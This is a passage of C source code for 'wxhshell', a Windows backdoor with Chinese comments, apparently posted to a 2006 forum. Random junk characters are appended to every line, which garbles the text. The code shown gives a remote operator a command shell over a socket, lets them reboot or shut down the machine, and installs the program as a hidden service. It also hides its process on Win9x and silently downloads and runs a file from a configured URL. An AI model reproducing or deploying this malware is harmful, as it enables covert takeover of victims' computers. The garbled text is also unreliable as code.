      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e a=E/HR-  
    break; 0:V /z3?  
  } JLu$1A@ '  
  // 安装 KW:N 6w  
  case 'i': { t]HY@@0g  
    if(Install()) #*g=F4>t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CXq[VYM&X  
    else oxxuw Dcl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ep6+YK:cn  
    break; |Y uf/G%/  
    } P) vD?)Q  
  // 卸载 c {= ; lT  
  case 'r': { ">[#Ops-;$  
    if(Uninstall()) av'm$I|O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M`Q$-#E:  
    else i.E2a)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W\l&wR  
    break; %0GwO%h},  
    } 6=f)3!=  
  // 显示 wxhshell 所在路径 .lcp5D[(  
  case 'p': { x0# Bc7y  
    char svExeFile[MAX_PATH]; 19$A!kH\  
    strcpy(svExeFile,"\n\r"); B<d=;V  
      strcat(svExeFile,ExeFile); AlQhKL}|s  
        send(wsh,svExeFile,strlen(svExeFile),0); %Y&48''"  
    break; *^-AOSVt,  
    } {T8;-H0H  
  // 重启 9"P+K.%  
  case 'b': { 6 - 3?&+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h7#\]2U$[5  
    if(Boot(REBOOT)) T]\1gs41  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GlJ[rD  
    else { 'J?{/O^  
    closesocket(wsh); ek&~A0k_o  
    ExitThread(0); 33~MP;  
    } 'x%gJi#  
    break; YYT;a$GTo  
    } 'APx  
  // 关机 S/E&&{`ls  
  case 'd': { vbmt0df  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ] hT\"5&6  
    if(Boot(SHUTDOWN)) {.LJ(|(Mz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {]\7 M|9\  
    else { h~#iGs  
    closesocket(wsh); #aX#gh}1  
    ExitThread(0); jG1(Oe;#  
    } EGl<oxL*R2  
    break; H q6%$!q  
    } Y#@D% a8  
  // 获取shell FGn"j@m0  
  case 's': { ?-j/X6(\(  
    CmdShell(wsh); tl_3 %$s  
    closesocket(wsh); DzR,ou  
    ExitThread(0); @1o X&#  
    break; $z_yx `5  
  } 20}HTV{v  
  // 退出 ! t!4CY  
  case 'x': { Ovx *  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )5@P|{FF  
    CloseIt(wsh); ovp/DM  
    break; uUjjAGZ  
    } Q>$B.z  
  // 离开 XHA|v^  
  case 'q': { ;y(;7n_ a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J=-z~\f56  
    closesocket(wsh); B :%Vq2`  
    WSACleanup(); xuUEJ a&  
    exit(1); eQi^d/yi  
    break; [0Xuo  
        } vN(~}gOd\  
  } >T;!Z5L1  
  } y^H5iB[SPL  
! \s}A7  
  // 提示信息 +[ ?!@)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -. *E<%  
} , >WH)+a  
  } y`j_]qvt  
~ g!!#ad  
  return; pJFn 8&!J  
} T8m]f<  
1{M?_~g 4  
// shell模块句柄 IN/$b^Um  
int CmdShell(SOCKET sock) 5=V"tQ&d9U  
{ %ap]\o$^4  
STARTUPINFO si; 6],?Y+_;)L  
ZeroMemory(&si,sizeof(si)); ~+{*KPiD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x=H{Rv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D zD5n  
PROCESS_INFORMATION ProcessInfo; hwM<0Jf   
char cmdline[]="cmd"; M_!]9#:K7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); At@0G\^  
  return 0; $Z;8@O3  
} {*;8`+R&  
G$a@}9V  
// 自身启动模式 ; s(bd#Q  
int StartFromService(void) v9H t~\>  
{ _xAru9=n^  
typedef struct X_'tgP9  
{ s 4rva G@a  
  DWORD ExitStatus; (^W}uDPCB  
  DWORD PebBaseAddress; S$SCW<LuN  
  DWORD AffinityMask; rL\}>VC)  
  DWORD BasePriority; Yp(0XP5o  
  ULONG UniqueProcessId; g5#LoGc  
  ULONG InheritedFromUniqueProcessId; gH7  +#/  
}   PROCESS_BASIC_INFORMATION; 3F"vK  
8qkQ*uJP  
PROCNTQSIP NtQueryInformationProcess; h<LS`$PK;E  
@"s<0T^H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !r.-7hR$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \X\< +KU  
D?y-Y  
  HANDLE             hProcess; ^nZ=B>Yn2  
  PROCESS_BASIC_INFORMATION pbi; =xkaF)AW&v  
o.r D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ue3 ].:  
  if(NULL == hInst ) return 0; \\EX'L  
H,c1&hb/w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $`UdG0~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N^B7<~ bD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LS*L XC  
W\j'8^kI9  
  if (!NtQueryInformationProcess) return 0; Q^<amM!  
q/ :]+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o,j_eheAM  
  if(!hProcess) return 0; ;m] nl_vg  
6v{&,q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hfJ&o7Dt  
Z[[*:9rY|  
  CloseHandle(hProcess); pGU .+[|(  
#SHJ0+)o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bX[ZVE(L  
if(hProcess==NULL) return 0; [3=Y 9P:  
Ma\%uEgTD  
HMODULE hMod; zdem}kBIe  
char procName[255]; _b>z'4_'  
unsigned long cbNeeded; 5.-:)=  
e\(X:T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vc(kw7  
(soTkH:#  
  CloseHandle(hProcess); { #B/4  
^%%Rf  
if(strstr(procName,"services")) return 1; // 以服务启动 M&=SvM.f  
`dF~'  
  return 0; // 注册表启动 N/lEfy<&g:  
} %npLgCF  
<gX({FA  
// 主模块 3R$R?^G  
int StartWxhshell(LPSTR lpCmdLine) q9x@Pc29d  
{ F+VNrt-  
  SOCKET wsl; 1 39T*0C  
BOOL val=TRUE; x xzUey  
  int port=0; z( ^?xv  
  struct sockaddr_in door; >~7XBb08  
.>,Y |  
  if(wscfg.ws_autoins) Install(); 5o{U$  
~Ih` ayVq  
port=atoi(lpCmdLine); w9u|E46  
~9@527m<',  
if(port<=0) port=wscfg.ws_port; *eD[[HbKX  
P$Y w'3v/  
  WSADATA data; > mCH!ey  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |,KsJ2hD  
|H8C4^1Rq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gs0 jwI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^Rl?)_)1HE  
  door.sin_family = AF_INET; }'{"P#e8"q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Q^u#m3  
  door.sin_port = htons(port); k 5% )  
dj5|t~&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0gOca +&  
closesocket(wsl); !iHC++D  
return 1; kDJqT  
} Mx0~^l  
l`6.(6  
  if(listen(wsl,2) == INVALID_SOCKET) { 5m@'( ] j  
closesocket(wsl); ,d!@5d&Zi  
return 1; D0 q42+5  
} m0 W3pf  
  Wxhshell(wsl); FW2x  
  WSACleanup(); X?ZLmP7|  
zNGUll$  
return 0; F `F|.TX  
Qa9@Q$  
} "IpbR  
%c$|.TkX  
// 以NT服务方式启动 OP=oSfa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V"gKk$j7  
{ bFG?mG:  
DWORD   status = 0; E!WlQr:b$  
  DWORD   specificError = 0xfffffff; ZJFF4($qN  
vEG7A$Z"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n<)A5UB5-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s7jNRY V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iVVR$uzhH  
  serviceStatus.dwWin32ExitCode     = 0; ?|NsaW  
  serviceStatus.dwServiceSpecificExitCode = 0; S^i8VYK,C5  
  serviceStatus.dwCheckPoint       = 0; 6o]{< T/'  
  serviceStatus.dwWaitHint       = 0; 2ZbSdaM=  
'9qyf<MlY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -d2)  
  if (hServiceStatusHandle==0) return; 9!r0uU"  
G.N `  
status = GetLastError(); lHliMBSc  
  if (status!=NO_ERROR) 7c%dSs6  
{ oFt_ yU-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R:'&>.AUw  
    serviceStatus.dwCheckPoint       = 0; _h,X3P   
    serviceStatus.dwWaitHint       = 0; %y_pF?2@q  
    serviceStatus.dwWin32ExitCode     = status; @qWClr{`  
    serviceStatus.dwServiceSpecificExitCode = specificError; -)&lsFF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gQ{<2u  
    return; 3*{l^<`:gA  
  } I"8Z'<|/\q  
Uw5&.aqn.b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cJSwA&  
  serviceStatus.dwCheckPoint       = 0; J?E!\V&U  
  serviceStatus.dwWaitHint       = 0; B"88 .U}$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uHZjpMoM  
} "-5FUKI-  
<Vh5`-J  
// 处理NT服务事件,比如:启动、停止 -J'ked  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o8A8fHl  
{ cYOcl-*af  
switch(fdwControl) ,DCUBD u&  
{ c8_,S[W  
case SERVICE_CONTROL_STOP: ,s}7KE  
  serviceStatus.dwWin32ExitCode = 0; "WPWMQ+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P3a]*>.,  
  serviceStatus.dwCheckPoint   = 0; tmeg=U7  
  serviceStatus.dwWaitHint     = 0; !6#.%"{-  
  { 9Ns%<FRO@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @.dM1DN)  
  } ;<cCT!A  
  return; /7a3*a  
case SERVICE_CONTROL_PAUSE: m<;MOS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tp ky  
  break; RN&8dsreZp  
case SERVICE_CONTROL_CONTINUE: <h~uGBS"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I;<__  
  break; l r~>!O  
case SERVICE_CONTROL_INTERROGATE: 'Vhnio;qC  
  break; !WB3%E,I  
}; ;d}n89DXj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b ts*qx&)  
} XCez5Q1  
qM>Dt  
// 标准应用程序主函数 b+dmJ]c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )wEXCXr!  
{ ^g<Lu/5w  
Sl \EPKZD  
// 获取操作系统版本 e9CvdR  
OsIsNt=GetOsVer(); nxm*.&#p?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :^x,>( a  
Kr4%D*  
  // 从命令行安装 |^w&dj\,  
  if(strpbrk(lpCmdLine,"iI")) Install(); xi.QHKBZaH  
Vrp]YR L`  
  // 下载执行文件 !:_krLB<  
if(wscfg.ws_downexe) { IpKI6[2{`f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e&m TaCLG  
  WinExec(wscfg.ws_filenam,SW_HIDE); c(3c|n  
} O=u.J8S2  
=wl0  
if(!OsIsNt) { $ Fy)+<  
// 如果时win9x,隐藏进程并且设置为注册表启动 pC&i!la{o}  
HideProc(); nXh<+7  
StartWxhshell(lpCmdLine); B\dhw@hM  
} +xr;X 9  
else ?.Ml P,/K  
  if(StartFromService())  Kc3/*eu;  
  // 以服务方式启动 wA87|YK8*  
  StartServiceCtrlDispatcher(DispatchTable); /sSif0I24  
else u^L_X A  
  // 普通方式启动 x ;]em9b  
  StartWxhshell(lpCmdLine); `K2vG`c  
a uve&y"R  
return 0; %VrMlG4hx  
}
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只看该作者 1 发表于: 2006-10-10
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